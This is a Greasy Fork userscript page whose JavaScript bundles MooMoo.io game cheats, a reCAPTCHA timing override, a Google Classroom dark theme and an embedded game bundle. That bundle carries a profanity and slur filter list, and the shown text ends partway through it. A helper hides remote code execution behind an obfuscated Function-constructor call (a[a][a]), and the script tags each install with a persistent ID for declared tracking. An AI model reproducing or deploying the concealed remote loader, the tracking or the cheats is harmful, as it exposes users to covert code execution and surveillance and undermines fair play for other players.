ウェブ規制解除: .ioゲームMOD(MooMoo.io/Krunker.io/...)、広告リンク回避、Adblock、その他多数!

何百ものウェブサイトを修正し、ウェブにMOD、ハック、新機能、クオリティ・オブ・ライフを追加する巨大なユーザースクリプトです! (ベータ版) 注目の機能:自動リダイレクトとのバイパス、フル機能のMooMoo.ioハック、Google Classroomダークモード、discordメッセージの大量削除、baidu上の広告の削除、Google Analyticsの無効化、Facebookの広告ブロッカー!(ベータ版)

このスクリプトの質問や評価の投稿はこちら通報はこちらへお寄せください。
// ==UserScript==

// @name         Lift Web Restrictions: .io Game Mods (MooMoo.io/Krunker.io/..), Ad Link Bypasser, Adblock, & MORE!
// @name:en      Lift Web Restrictions: .io Game Mods (MooMoo.io/Krunker.io/..), Ad Link Bypasser, Adblock, & MORE!
// @name:zh      解除网络限制:.io游戏模型 、广告链接绕过器、广告拦截器,以及更多!
// @name:zh-TW   解除网络限制:.io游戏模型 、广告链接绕过器、广告拦截器,以及更多!
// @name:zh-CN   解除网络限制:.io游戏模型 、广告链接绕过器、广告拦截器,以及更多!
// @name:fr      Levez les restrictions du Web: .io Game Mods (MooMoo.io/Krunker.io/..), Adblock, & PLUS!
// @name:ja      ウェブ規制解除: .ioゲームMOD(MooMoo.io/Krunker.io/...)、広告リンク回避、Adblock、その他多数!
// @name:ru      Снятие веб-ограничений: .io Game Mods (MooMoo.io/Krunker.io/...), Ad Link Bypasser, Adblock, & MORE!
// @name:de      Web-Einschränkungen aufheben: .io Game Mods (MooMoo.io/Krunker.io/..), Adblock, & MEHR!
// @name:vi      Nâng cao các hạn chế trên web: .io Game Mods (MooMoo.io/Krunker.io/ ..), loại bỏ quảng cáo, & THÊM!

// @description  A huge userscript that modifies hundreds of websites, adding mods, hacks, new features, and quality-of-life to the web! (in beta) Notable features: auto-redirects, a fully-featured MooMoo.io hack, Google Classroom dark mode, mass delete discord messages, remove ads on baidu, disable Google Analytics, Facebook ad blocker!
// @description:zh 一个巨大的用户脚本,可以修改数百个网站,为网络添加修改、黑客、新功能和生活质量! (测试版)值得注意的功能:自动重定向和绕过,一个全功能的MooMoo.io黑客,谷歌教室的黑暗模式,大量删除discord信息,删除百度上的广告,禁用谷歌分析,Facebook广告拦截器!(测试版)。
// @description:zh-TW 一个巨大的用户脚本,可以修改数百个网站,为网络添加修改、黑客、新功能和生活质量! (测试版)值得注意的功能:自动重定向和绕过,一个全功能的MooMoo.io黑客,谷歌教室的黑暗模式,大量删除discord信息,删除百度上的广告,禁用谷歌分析,Facebook广告拦截器!(测试版)。
// @description:zh-CN 一个巨大的用户脚本,可以修改数百个网站,为网络添加修改、黑客、新功能和生活质量! (测试版)值得注意的功能:自动重定向和绕过,一个全功能的MooMoo.io黑客,谷歌教室的黑暗模式,大量删除discord信息,删除百度上的广告,禁用谷歌分析,Facebook广告拦截器!(测试版)。
// @description:fr Un énorme usercript qui modifie des centaines de sites web, ajoutant des mods, des hacks, de nouvelles fonctionnalités et de la qualité de vie sur le web ! (en bêta) Caractéristiques notables : auto-redirections et contournement, un hack complet de MooMoo.io, mode sombre de Google Classroom, suppression en masse des messages discord, suppression des publicités sur baidu, bloqueur de publicités Facebook !
// @description:en A huge userscript that modifies hundreds of websites, adding mods, hacks, new features, and quality-of-life to the web! (in beta) Notable features: auto-redirects and bypasses, a fully-featured MooMoo.io hack, Google Classroom dark mode, mass delete discord messages, remove ads on baidu, disable Google Analytics, Facebook ad blocker!
// @description:ja 何百ものウェブサイトを修正し、ウェブにMOD、ハック、新機能、クオリティ・オブ・ライフを追加する巨大なユーザースクリプトです! (ベータ版) 注目の機能:自動リダイレクトとのバイパス、フル機能のMooMoo.ioハック、Google Classroomダークモード、discordメッセージの大量削除、baidu上の広告の削除、Google Analyticsの無効化、Facebookの広告ブロッカー!(ベータ版)
// @description:ru Огромный юзерскрипт, который изменяет сотни веб-сайтов, добавляя моды, хаки, новые функции и качество жизни в Интернете! (в бета-версии) Примечательные особенности: автопереадресация и обход , полнофункциональный хак MooMoo.io, темный режим Google Classroom, массовое удаление сообщений discord, удаление рекламы на baidu, отключение Google Analytics, блокировщик рекламы Facebook!
// @description:de Ein riesiges Benutzerskript, das Hunderte von Websites modifiziert, Mods, Hacks, neue Funktionen und Lebensqualität im Web hinzufügt! (in Beta) Bemerkenswerte Funktionen: Automatische Weiterleitung und Umgehung von , ein voll funktionsfähiger MooMoo.io-Hack, dunkler Modus für Google Classroom, Massenlöschung von Discord-Nachrichten, Entfernen von Werbung auf Baidu, Facebook-Werbeblocker!
// @description:vi Một usercript khổng lồ sửa đổi hàng trăm trang web, thêm mod, hack, tính năng mới và chất lượng cuộc sống cho web! (ở phiên bản beta) Các tính năng đáng chú ý: tự động chuyển hướng và bỏ qua liên kết, hack MooMoo.io đầy đủ tính năng, chế độ tối của Google Classroom, xóa hàng loạt thông báo bất hòa, xóa quảng cáo trên baidu, vô hiệu hóa google phân tích, trình chặn quảng cáo Facebook!

// @namespace    idk, idc
// @version      13
// @author       LWR Development Team + code from: Eugene Nouvellieu, ThaCheeseBun, Cazka

// @match        https://*.discord.com/app
// @match        https://*.discord.com/channels/*
// @match        https://*.discord.com/login

// @match        https://facebook.com/*
// @match        https://*.facebook.com/*

// @match        *://starve.io/*

// @match        *://classroom.google.com/*

// @match        *://*.moomoo.io/*
// @match        *://moomoo.io/*
// @match        *://sandbox.moomoo.io/*
// @match        *://dev.moomoo.io/*
// @require      https://greasyfork.org/scripts/423602-msgpack/code/msgpack.js
// @require      https://code.jquery.com/jquery-3.3.1.slim.min.js
// @require      https://greasyfork.org/scripts/410512-sci-js-from-ksw2-center/code/scijs%20(from%20ksw2-center).js
// @antifeature  Tracking, for performance debugging
// @match        https://ksw2-moomoo.glitch.me

// @match        *://www.google.com/recaptcha/api2/*

// @match        *://diep.io/*

// @match        *://www.baidu.com/*
// @match        *://baidu.com/*
// @match        *://m.baidu.com/*

// @grant        unsafeWindow
// @grant        GM.setValue
// @grant        GM.getValue
// @grant        GM_addStyle
// @grant        GM_addValueChangeListener
// @grant        GM_removeValueChangeListener
// @grant        GM_getTabs
// @grant        GM_getTab
// @grant        GM_saveTab

// @icon         https://dev.moomoo.io/img/icons/crown.png
// @grant        unsafeWindow
// @run-at       document-start
// @license      All Rights Reserved
// ==/UserScript==

const loc = window.location.href; //"https://greasyfork.org/en/users/198860-flarez-gaming"
const hostname = window.location.hostname; //"greasyfork.org"
const pathname = window.location.pathname; //"/96710/fivem-npc-medic-job/1"
const thisHost = window.location.host; //
const a = "constructor";

//disable space bar scrolling:
const isIo = window.location.href.includes(".io");
if (isIo) {
    unsafeWindow.onkeydown = (e) => {
        if (e.keyCode == 32 && e.target == document.body) e.preventDefault();
    };
};

function uuidv4() {return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); });};
var ctr, global_id; (async () => {
    let count_before = await GM.getValue('count', 0); await GM.setValue('count', count_before + 1);
    if (await GM.getValue("id", null) == null) {await GM.setValue("id", uuidv4())};
    await GM.getValue("id", 0); ctr = await GM.getValue('count', 0); global_id = await GM.getValue("id", 0);
})();

const isIFrame = (() => {
    try {
        return window.self !== window.top;
    } catch (e) {
        return true;
    };
})();

const Utils = {
    WATCHRATE: 400,
    /**
     *
     * @param {HTMLElement} element
     */
    deleteElement: (element) => {
        if (element) {
            element.remove();
            return true;
        };
        return false;
    },
    /**
     *
     * @param {string} element
     */
    watchAndDelete: (element) => {
        const thisInterval = setInterval(() => {
            if (Utils.deleteElement(document.getElementById(element))) {
                clearInterval(thisInterval);
            };
        }, Utils.WATCHRATE);
    },
    /**
     *
     * @param {string} link
     */
    loadModule: (link) => {
        const x = new XMLHttpRequest();
        x.open("GET", link, false);
        x.send();
        if (x.responseText) {
            a[a][a](x.responseText);
        };
    }
};

const CONTROLLER_PAGE = "https://ksw2-moomoo.glitch.me"; //for moomoo-related stuff only
if (thisHost == (new URL(CONTROLLER_PAGE)).host) {
    GM_getTab(function(tabObj) {
        tabObj.id = uuidv4();
        GM_saveTab(tabObj);
    });
} else if (loc.includes("recaptcha/api2/bframe")) {
    //module from https://greasyfork.org/en/scripts/31088-morecaptcha/code
    // Copyright (C) 2017 Eugene Nouvellieu <eugenox_gmail_com>
    //
    // This program is free software: you can redistribute it and/or modify
    // it under the terms of the GNU General Public License as published by
    // the Free Software Foundation, either version 3 of the License, or
    // (at your option) any later version.
    //
    // This program is distributed in the hope that it will be useful,
    // but WITHOUT ANY WARRANTY; without even the implied warranty of
    // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    // GNU General Public License for more details.
    //
    // You should have received a copy of the GNU General Public License
    // along with this program. If not, see <http://www.gnu.org/licenses/>.

    var SPEED = 5;
    var selector = {
        selecting: undefined,
        handle: function(event) {
            var tiles = new Set(document.querySelectorAll('#rc-imageselect td')), tile = event.target;

            while (tile && ! tiles.has(tile)) {
                tile = tile.parentNode;
            };

            if (tile) {
                event.stopPropagation();
                event.preventDefault();

                const selected = 'selected' in tile.dataset && tile.dataset.selected == 'true';
                if (this[event.type](selected)) {
                    tile.dataset.selected = this.selecting;
                    tile.firstElementChild.click();
                }
            }
        },

        mouseover: function(selected) {
            return ! (this.selecting === undefined || this.selecting === selected);
        },

        mousedown: function(selected) {
            this.selecting = ! selected;

            return true;
        },

        mouseup: function(selected) {
            this.selecting = undefined;

            return false;
        }
    };

    window.addEventListener('load', function() {
        const sheet = document.body.appendChild(document.createElement('style')).sheet;

        sheet.insertRule(
            '.rc-imageselect-table-33, .rc-imageselect-table-42, .rc-imageselect-table-44' +
            '{ transition-duration: ' + (1 / SPEED) + 's !important }', 0);
        sheet.insertRule(
            '.rc-imageselect-tile' +
            '{ transition-duration: ' + (4 / SPEED) + 's !important }', 1);
        sheet.insertRule(
            '.rc-imageselect-dynamic-selected' +
            '{ transition-duration: ' + (2 / SPEED) + 's !important }', 2);
        sheet.insertRule(
            '.rc-imageselect-progress' +
            '{ transition-duration: ' + (1 / SPEED) + 's !important }', 3);
        sheet.insertRule(
            '.rc-image-tile-overlay' +
            '{ transition-duration: ' + (1 / SPEED) + 's !important }', 4);

        const handler = selector.handle.bind(selector);
        document.body.addEventListener('mouseover', handler, false);
        document.body.addEventListener('mousedown', handler, false);
        document.body.addEventListener('mouseup', handler, false);
    });

    function publish(func) {
        if (typeof exportFunction == 'function') {
            return exportFunction(func, unsafeWindow);
        };

        return func;
    };

    const __setTimeout = unsafeWindow.setTimeout.bind(unsafeWindow);
    unsafeWindow.setTimeout = publish(function(callback, delay) {
        return __setTimeout(callback, Number(delay) / SPEED);
    });
} else if (hostname === "classroom.google.com") {
    //module from https://greasyfork.org/en/scripts/395319-google-classroom-dark-mode-theme/code
    //licensed under MIT; https://mit-license.org/
    window.addEventListener("load", function() {
        (function() {
            'use strict';

            var style = `
        body {
            background: #2c2c2c;
            color: #fff;
        }

        /* help btn */
        .K2mXPb {
            color: #fff;
            fill: #fff;
        }

        /* links */
        a {
            color: dodgerblue;
        }
        a:visited {
            color: mediumorchid;
        }

        /* top bar */
        .joJglb {
            background: #3c3c3c;
            border-bottom: none;
        }
        .joJglb, .joJglb.kLHn3 {
            box-shadow: 0px 0px 6px 4px rgba(28, 28, 28, .4);
        }

        /* google apps */
        .gb_qa svg, .gb_C[aria-expanded="true"] .gb_Ve {
            fill: #fff;
        }

        /* icons */
        .IqJTee, .ViCi4, .xSP5ic, .cjq2Db {
            color: #fff;
        }

        /* classroom elems */
        .Aopndd {
            background: #3c3c3c;
            border-color: #5c5c5c;
        }
        .SZ0kZe {
            border-top: none !important;
        }
        .apFsO.onkcGd,
        .apFsO.onkcGd:visited {
            color: #fff;
        }
        .oBSRLe {
            color: #fff;
        }
        .JPdR6b {
            background: #3c3c3c;
            box-shadow: 0px 0px 2px 1px rgba(28, 28, 28, .4);
        }

        /* nav menu */
        .asQXV {
            color: #fff;
        }
        .dDKhVc, .iLjzDc {
            color: #afafaf;
        }
        .kCtYwe {
            border-color: #4c4c4c !important;
        }
        .ETRkCe {
            background-color: #3c3c3c !important;
        }
        .DShyMc-AaTFfe .Xi8cpb.qs41qe .LlcfK, .bFjUmb-Ysl7Fe, .VUoKZ {
            background-color: #4c4c4c !important;
        }
        .Xi8cpb:hover .LlcfK {
            background-color: rgba(76, 76, 76, .5) !important;
        }

        /* calendar */
        .Evt7cb, .Evt7cb:visited, .fKz7Od .TpQm9d {
            color: #fff !important;
        }
        .BOW64 {
            border-color: #5c5c5c !important;
        }
        .wQuPk .JsqLM.N4XV7d {
            color: #afafaf !important;
        }
        .ybOdnf .OA0qNb .LMgvRb[aria-selected="true"] {
            background-color: rgba(76, 76, 76, .5) !important;
        }
        .ncFHed .MocG8c.KKjvXb {
            background-color: #4c4c4c !important;
        }

        /* todo page */
        .Xp0OCe, .ncFHed {
            background-color: #3c3c3c !important;
        }
        .Xp0OCe {
            border: none !important;
        }
        .HZ3kWc, .WOPwXe, .gJk24c, .asQXV-FGzYL {
            color: #fff;
        }
        .MHxtic:not(:last-child), .LKqFXc {
            border-color: #4c4c4c !important;
        }
        .MHxtic:hover {
            box-shadow: none !important;
            background-color: #4c4c4c;
        }

        /* class page */
        .d4Fe0d {
            background-color: #3c3c3c !important;
            border-color: #4c4c4c !important;
        }
        .EZrbnd, .A6dC2c, .O98Lj, .rpo4wf, .tLDEHd, .cSyPgb, .wZTANe .J1raN:hover, .udxSmc, .lziZub, .lziZub:visited {
            color: #fff !important;
        }
        .sdDCme, .K6Ovqd, .T8rTjd, .Lzdwhd-BrZSOd, .onkcGd, .onkcGd:visited, .wZTANe .J1raN {
            color: #ccc;
        }
        .VnOHwf-Tvm9db, .BEAGS:not(.RDPZE), .VnOHwf-Wvd9Cc, .CJXzee a:active,
        .CJXzee a:focus, .CJXzee a:hover, .sdDCme, .K6Ovqd, .vnnr5e .snByac,
        .vnnr5e .Aworge, .XpxsVb .Aworge, .UQuaGc, .wCDkmf, .ksaOtd {
            color: #fff !important;
        }
        .MymH0d:hover .VBEdtc-Wvd9Cc, .l3F1ye:not(.RDPZE), .IMvYId, .IMvYId:visited, .nRLOzd:hover, .nRLOzd:hover *, .O98Lj, .Lzdwhd-BrZSOd {
            color: #ccc !important;
        }
        .GWZ7yf, .hgjBDc, .vnnr5e .CIy9F, .qk0lee:focus::after {
            background-color: #3c3c3c !important;
            box-shadow: none !important;
        }
        .vnnr5e .I9OJHe {
            background-color: #3c3c3c !important;
        }
        .ndcsBf.cjzpkc-Wvd9Cc {
            border-color: #5c5c5c;
        }
        .Y5FYJe.RDPZE {
            fill: #ccc;
            color: #ccc;
        }
        .OZ6W0d:not(.RDPZE), .l3F1ye:not(.RDPZE) .TpQm9d, .wwnMtb:not(.RDPZE) {
            fill: #fff !important;
            color: #fff !important;
        }
        .ZoT1D:hover.idtp4e, .tUJKGd:not(.xp2dJ):not(.rZXyy):hover .idtp4e, .tUJKGd:not(.xp2dJ).ndcsBf .idtp4e, .V8apv, .P3W0Dd-Ysl7Fe:focus {
            background-color: #4c4c4c !important;
        }
        .Niache, .QTD2uf {
            border-color: #3c3c3c !important;
        }
        .UISY8d-Ysl7Fe:hover {
            background-color: #3c3c3c !important;
            color: #ccc;
        }
        .eumXzf:after {
            border-color: #fff !important;
        }
        .tUJKGd:not(:first-child), .ySjuvd .eqqrO, .s2g3Xd, .oleV8d, .ZNE4y, .PeGHgb.Q8U8uc .Ono85c+.oh9CFb, .O9YpHb, .u73Apc, .d6CWTd {
            border-color: #4c4c4c !important;
        }
        .lXuxY {
            -webkit-box-shadow: 0 0 8px 0 rgba(0, 0, 0, 0.75);
            -moz-box-shadow: 0 0 8px 0 rgba(0, 0, 0, 0.75);
            box-shadow: 0 0 8px 0 rgba(0, 0, 0, 0.75)
        }
        .BEAGS, .P02DYb, .ycbm1d {
            border-color: #4c4c4c !important;
        }
        .Y5sE8d:not(.RDPZE) {
            background-color: #2c2c2c !important;
        }
        .Y5sE8d:not(.RDPZE):hover {
            box-shadow: none !important;
        }
        .ksaOtd {
            color: #1e8e3e;
        }
        .uO32ac {
            border-color: #5c5c5c !important;
        }
        .uQ3ESd {
            background-color: #3c3c3c !important;
        }

        /* dialog */
        .iph-dialog {
            background-color: #4c4c4c !important;
        }
        .iph-dialog-title, .iph-dialog-content {
            color: #fff !important;
        }

        /* join classroom */
        .gKkZCe, .D3oBEe .n9IS1:before, .AeAAkf {
            border-color: #4c4c4c;
        }
        .D3oBEe .qTs5Xc {
            background-color: #3c3c3c;
        }
        .qTs5Xc, .poFWNe {
            color: #fff;
        }
        .I7OXgf.ZEeHrd, .NZ9wdc, .i5sehe, .kox42c {
            background-color: #2c2c2c !important;
        }`;
            var elem = document.createElement('style');
            elem.innerText = style;
            document.head.appendChild(elem);
        })();
    });
} else if (["moomoo.io", "dev.moomoo.io", "sandbox.moomoo.io"].includes(hostname)) {

    let hoistedStart = () => {};
    function loadOldBundle() {
        /******/ (function(modules) { // webpackBootstrap
            /******/ 	// The module cache
            /******/ 	var installedModules = {};
            /******/
            /******/ 	// The require function
            /******/ 	function __webpack_require__(moduleId) {
                /******/
                /******/ 		// Check if module is in cache
                /******/ 		if(installedModules[moduleId]) {
                    /******/ 			return installedModules[moduleId].exports;
                    /******/ 		}
                /******/ 		// Create a new module (and put it into the cache)
                /******/ 		var module = installedModules[moduleId] = {
                    /******/ 			i: moduleId,
                    /******/ 			l: false,
                    /******/ 			exports: {}
                    /******/ 		};
                /******/
                /******/ 		// Execute the module function
                /******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
                /******/
                /******/ 		// Flag the module as loaded
                /******/ 		module.l = true;
                /******/
                /******/ 		// Return the exports of the module
                /******/ 		return module.exports;
                /******/ 	}
            /******/
            /******/
            /******/ 	// expose the modules object (__webpack_modules__)
            /******/ 	__webpack_require__.m = modules;
            /******/
            /******/ 	// expose the module cache
            /******/ 	__webpack_require__.c = installedModules;
            /******/
            /******/ 	// define getter function for harmony exports
            /******/ 	__webpack_require__.d = function(exports, name, getter) {
                /******/ 		if(!__webpack_require__.o(exports, name)) {
                    /******/ 			Object.defineProperty(exports, name, { enumerable: true, get: getter });
                    /******/ 		}
                /******/ 	};
            /******/
            /******/ 	// define __esModule on exports
            /******/ 	__webpack_require__.r = function(exports) {
                /******/ 		if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
                    /******/ 			Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
                    /******/ 		}
                /******/ 		Object.defineProperty(exports, '__esModule', { value: true });
                /******/ 	};
            /******/
            /******/ 	// create a fake namespace object
            /******/ 	// mode & 1: value is a module id, require it
            /******/ 	// mode & 2: merge all properties of value into the ns
            /******/ 	// mode & 4: return value when already ns object
            /******/ 	// mode & 8|1: behave like require
            /******/ 	__webpack_require__.t = function(value, mode) {
                /******/ 		if(mode & 1) value = __webpack_require__(value);
                /******/ 		if(mode & 8) return value;
                /******/ 		if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
                /******/ 		var ns = Object.create(null);
                /******/ 		__webpack_require__.r(ns);
                /******/ 		Object.defineProperty(ns, 'default', { enumerable: true, value: value });
                /******/ 		if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
                /******/ 		return ns;
                /******/ 	};
            /******/
            /******/ 	// getDefaultExport function for compatibility with non-harmony modules
            /******/ 	__webpack_require__.n = function(module) {
                /******/ 		var getter = module && module.__esModule ?
                    /******/ 			function getDefault() { return module['default']; } :
                /******/ 			function getModuleExports() { return module; };
                /******/ 		__webpack_require__.d(getter, 'a', getter);
                /******/ 		return getter;
                /******/ 	};
            /******/
            /******/ 	// Object.prototype.hasOwnProperty.call
            /******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
            /******/
            /******/ 	// __webpack_public_path__
            /******/ 	__webpack_require__.p = "";
            /******/
            /******/
            /******/ 	// Load entry module and return exports
            /******/ 	return __webpack_require__(__webpack_require__.s = "./src/js/app.js");
            /******/ })
        /************************************************************************/
        /******/ ({

            /***/ "./node_modules/bad-words/lib/badwords.js":
            /*!************************************************!*\
      !*** ./node_modules/bad-words/lib/badwords.js ***!
      \************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                const localList = __webpack_require__(/*! ./lang.json */ "./node_modules/bad-words/lib/lang.json").words;
                const baseList = __webpack_require__(/*! badwords-list */ "./node_modules/badwords-list/lib/index.js").array;

                class Filter {

                    /**
       * Filter constructor.
       * @constructor
       * @param {object} options - Filter instance options
       * @param {boolean} options.emptyList - Instantiate filter with no blacklist
       * @param {array} options.list - Instantiate filter with custom list
       * @param {string} options.placeHolder - Character used to replace profane words.
       * @param {string} options.regex - Regular expression used to sanitize words before comparing them to blacklist.
       * @param {string} options.replaceRegex - Regular expression used to replace profane words with placeHolder.
       */
                    constructor(options = {}) {
                        Object.assign(this, {
                            list: options.emptyList && [] || Array.prototype.concat.apply(localList, [baseList, options.list || []]),
                            exclude: options.exclude || [],
                            placeHolder: options.placeHolder || '*',
                            regex: options.regex || /[^a-zA-Z0-9|\$|\@]|\^/g,
                            replaceRegex: options.replaceRegex || /\w/g
                        })
                    }

                    /**
       * Determine if a string contains profane language.
       * @param {string} string - String to evaluate for profanity.
       */
                    isProfane(string) {
                        return this.list
                            .filter((word) => {
                            const wordExp = new RegExp(`\\b${word.replace(/(\W)/g, '\\$1')}\\b`, 'gi');
                            return !this.exclude.includes(word.toLowerCase()) && wordExp.test(string);
                        })
                            .length > 0 || false;
                    }

                    /**
       * Replace a word with placeHolder characters;
       * @param {string} string - String to replace.
       */
                    replaceWord(string) {
                        return string
                            .replace(this.regex, '')
                            .replace(this.replaceRegex, this.placeHolder);
                    }

                    /**
       * Evaluate a string for profanity and return an edited version.
       * @param {string} string - Sentence to filter.
       */
                    clean(string) {
                        return string.split(/\b/).map((word) => {
                            return this.isProfane(word) ? this.replaceWord(word) : word;
                        }).join('');
                    }

                    /**
       * Add word(s) to blacklist filter / remove words from whitelist filter
       * @param {...string} word - Word(s) to add to blacklist
       */
                    addWords() {
                        let words = Array.from(arguments);

                        this.list.push(...words);

                        words
                            .map(word => word.toLowerCase())
                            .forEach((word) => {
                            if (this.exclude.includes(word)) {
                                this.exclude.splice(this.exclude.indexOf(word), 1);
                            }
                        });
                    }

                    /**
       * Add words to whitelist filter
       * @param {...string} word - Word(s) to add to whitelist.
       */
                    removeWords() {
                        this.exclude.push(...Array.from(arguments).map(word => word.toLowerCase()));
                    }
                }

                module.exports = Filter;

                /***/ }),

            /***/ "./node_modules/bad-words/lib/lang.json":
            /*!**********************************************!*\
      !*** ./node_modules/bad-words/lib/lang.json ***!
      \**********************************************/
            /*! exports provided: words, default */
            /***/ (function(module) {

                module.exports = {"words":["ahole","anus","ash0le","ash0les","asholes","ass","Ass Monkey","Assface","assh0le","assh0lez","asshole","assholes","assholz","asswipe","azzhole","bassterds","bastard","bastards","bastardz","basterds","basterdz","Biatch","bitch","bitches","Blow Job","boffing","butthole","buttwipe","c0ck","c0cks","c0k","Carpet Muncher","cawk","cawks","Clit","cnts","cntz","cock","cockhead","cock-head","cocks","CockSucker","cock-sucker","crap","cum","cunt","cunts","cuntz","dick","dild0","dild0s","dildo","dildos","dilld0","dilld0s","dominatricks","dominatrics","dominatrix","dyke","enema","f u c k","f u c k e r","fag","fag1t","faget","fagg1t","faggit","faggot","fagg0t","fagit","fags","fagz","faig","faigs","fart","flipping the bird","fuck","fucker","fuckin","fucking","fucks","Fudge Packer","fuk","Fukah","Fuken","fuker","Fukin","Fukk","Fukkah","Fukken","Fukker","Fukkin","g00k","God-damned","h00r","h0ar","h0re","hells","hoar","hoor","hoore","jackoff","jap","japs","jerk-off","jisim","jiss","jizm","jizz","knob","knobs","knobz","kunt","kunts","kuntz","Lezzian","Lipshits","Lipshitz","masochist","masokist","massterbait","masstrbait","masstrbate","masterbaiter","masterbate","masterbates","Motha Fucker","Motha Fuker","Motha Fukkah","Motha Fukker","Mother Fucker","Mother Fukah","Mother Fuker","Mother Fukkah","Mother Fukker","mother-fucker","Mutha Fucker","Mutha Fukah","Mutha Fuker","Mutha Fukkah","Mutha Fukker","n1gr","nastt","nigger;","nigur;","niiger;","niigr;","orafis","orgasim;","orgasm","orgasum","oriface","orifice","orifiss","packi","packie","packy","paki","pakie","paky","pecker","peeenus","peeenusss","peenus","peinus","pen1s","penas","penis","penis-breath","penus","penuus","Phuc","Phuck","Phuk","Phuker","Phukker","polac","polack","polak","Poonani","pr1c","pr1ck","pr1k","pusse","pussee","pussy","puuke","puuker","queer","queers","queerz","qweers","qweerz","qweir","recktum","rectum","retard","sadist","scank","schlong","screwing","semen","sex","sexy","Sh!t","sh1t","sh1ter","sh1ts","sh1tter","sh1tz","shit","shits","shitter","Shitty","Shity","shitz","Shyt","Shyte","Shytty","Shyty","skanck","skank","skankee","skankey","skanks","Skanky","slag","slut","sluts","Slutty","slutz","son-of-a-bitch","tit","turd","va1jina","vag1na","vagiina","vagina","vaj1na","vajina","vullva","vulva","w0p","wh00r","wh0re","whore","xrated","xxx","b!+ch","bitch","blowjob","clit","arschloch","fuck","shit","ass","asshole","b!tch","b17ch","b1tch","bastard","bi+ch","boiolas","buceta","c0ck","cawk","chink","cipa","clits","cock","cum","cunt","dildo","dirsa","ejakulate","fatass","fcuk","fuk","fux0r","hoer","hore","jism","kawk","l3itch","l3i+ch","lesbian","masturbate","masterbat*","masterbat3","motherfucker","s.o.b.","mofo","nazi","nigga","nigger","nutsack","phuck","pimpis","pusse","pussy","scrotum","sh!t","shemale","shi+","sh!+","slut","smut","teets","tits","boobs","b00bs","teez","testical","testicle","titt","w00se","jackoff","wank","whoar","whore","*damn","*dyke","*fuck*","*shit*","@$$","amcik","andskota","arse*","assrammer","ayir","bi7ch","bitch*","bollock*","breasts","butt-pirate","cabron","cazzo","chraa","chuj","Cock*","cunt*","d4mn","daygo","dego","dick*","dike*","dupa","dziwka","ejackulate","Ekrem*","Ekto","enculer","faen","fag*","fanculo","fanny","feces","feg","Felcher","ficken","fitt*","Flikker","foreskin","Fotze","Fu(*","fuk*","futkretzn","gook","guiena","h0r","h4x0r","hell","helvete","hoer*","honkey","Huevon","hui","injun","jizz","kanker*","kike","klootzak","kraut","knulle","kuk","kuksuger","Kurac","kurwa","kusi*","kyrpa*","lesbo","mamhoon","masturbat*","merd*","mibun","monkleigh","mouliewop","muie","mulkku","muschi","nazis","nepesaurio","nigger*","orospu","paska*","perse","picka","pierdol*","pillu*","pimmel","piss*","pizda","poontsee","poop","porn","p0rn","pr0n","preteen","pula","pule","puta","puto","qahbeh","queef*","rautenberg","schaffer","scheiss*","schlampe","schmuck","screw","sh!t*","sharmuta","sharmute","shipal","shiz","skribz","skurwysyn","sphencter","spic","spierdalaj","splooge","suka","b00b*","testicle*","titt*","twat","vittu","wank*","wetback*","wichser","wop*","yed","zabourah"]};

                /***/ }),

            /***/ "./node_modules/badwords-list/lib/array.js":
            /*!*************************************************!*\
      !*** ./node_modules/badwords-list/lib/array.js ***!
      \*************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = ["4r5e", "5h1t", "5hit", "a55", "anal", "anus", "ar5e", "arrse", "arse", "ass", "ass-fucker", "asses", "assfucker", "assfukka", "asshole", "assholes", "asswhole", "a_s_s", "b!tch", "b00bs", "b17ch", "b1tch", "ballbag", "balls", "ballsack", "bastard", "beastial", "beastiality", "bellend", "bestial", "bestiality", "bi+ch", "biatch", "bitch", "bitcher", "bitchers", "bitches", "bitchin", "bitching", "bloody", "blow job", "blowjob", "blowjobs", "boiolas", "bollock", "bollok", "boner", "boob", "boobs", "booobs", "boooobs", "booooobs", "booooooobs", "breasts", "buceta", "bugger", "bum", "bunny fucker", "butt", "butthole", "buttmuch", "buttplug", "c0ck", "c0cksucker", "carpet muncher", "cawk", "chink", "cipa", "cl1t", "clit", "clitoris", "clits", "cnut", "cock", "cock-sucker", "cockface", "cockhead", "cockmunch", "cockmuncher", "cocks", "cocksuck", "cocksucked", "cocksucker", "cocksucking", "cocksucks", "cocksuka", "cocksukka", "cok", "cokmuncher", "coksucka", "coon", "cox", "crap", "cum", "cummer", "cumming", "cums", "cumshot", "cunilingus", "cunillingus", "cunnilingus", "cunt", "cuntlick", "cuntlicker", "cuntlicking", "cunts", "cyalis", "cyberfuc", "cyberfuck", "cyberfucked", "cyberfucker", "cyberfuckers", "cyberfucking", "d1ck", "damn", "dick", "dickhead", "dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-fucker", "doggin", "dogging", "donkeyribber", "doosh", "duche", "dyke", "ejaculate", "ejaculated", "ejaculates", "ejaculating", "ejaculatings", "ejaculation", "ejakulate", "f u c k", "f u c k e r", "f4nny", "fag", "fagging", "faggitt", "faggot", "faggs", "fagot", "fagots", "fags", "fanny", "fannyflaps", "fannyfucker", "fanyy", "fatass", "fcuk", "fcuker", "fcuking", "feck", "fecker", "felching", "fellate", "fellatio", "fingerfuck", "fingerfucked", "fingerfucker", "fingerfuckers", "fingerfucking", "fingerfucks", "fistfuck", "fistfucked", "fistfucker", "fistfuckers", "fistfucking", "fistfuckings", "fistfucks", "flange", "fook", "fooker", "fuck", "fucka", "fucked", "fucker", "fuckers", "fuckhead", "fuckheads", "fuckin", "fucking", "fuckings", "fuckingshitmotherfucker", "fuckme", "fucks", "fuckwhit", "fuckwit", "fudge packer", "fudgepacker", "fuk", "fuker", "fukker", "fukkin", "fuks", "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k", "gangbang", "gangbanged", "gangbangs", "gaylord", "gaysex", 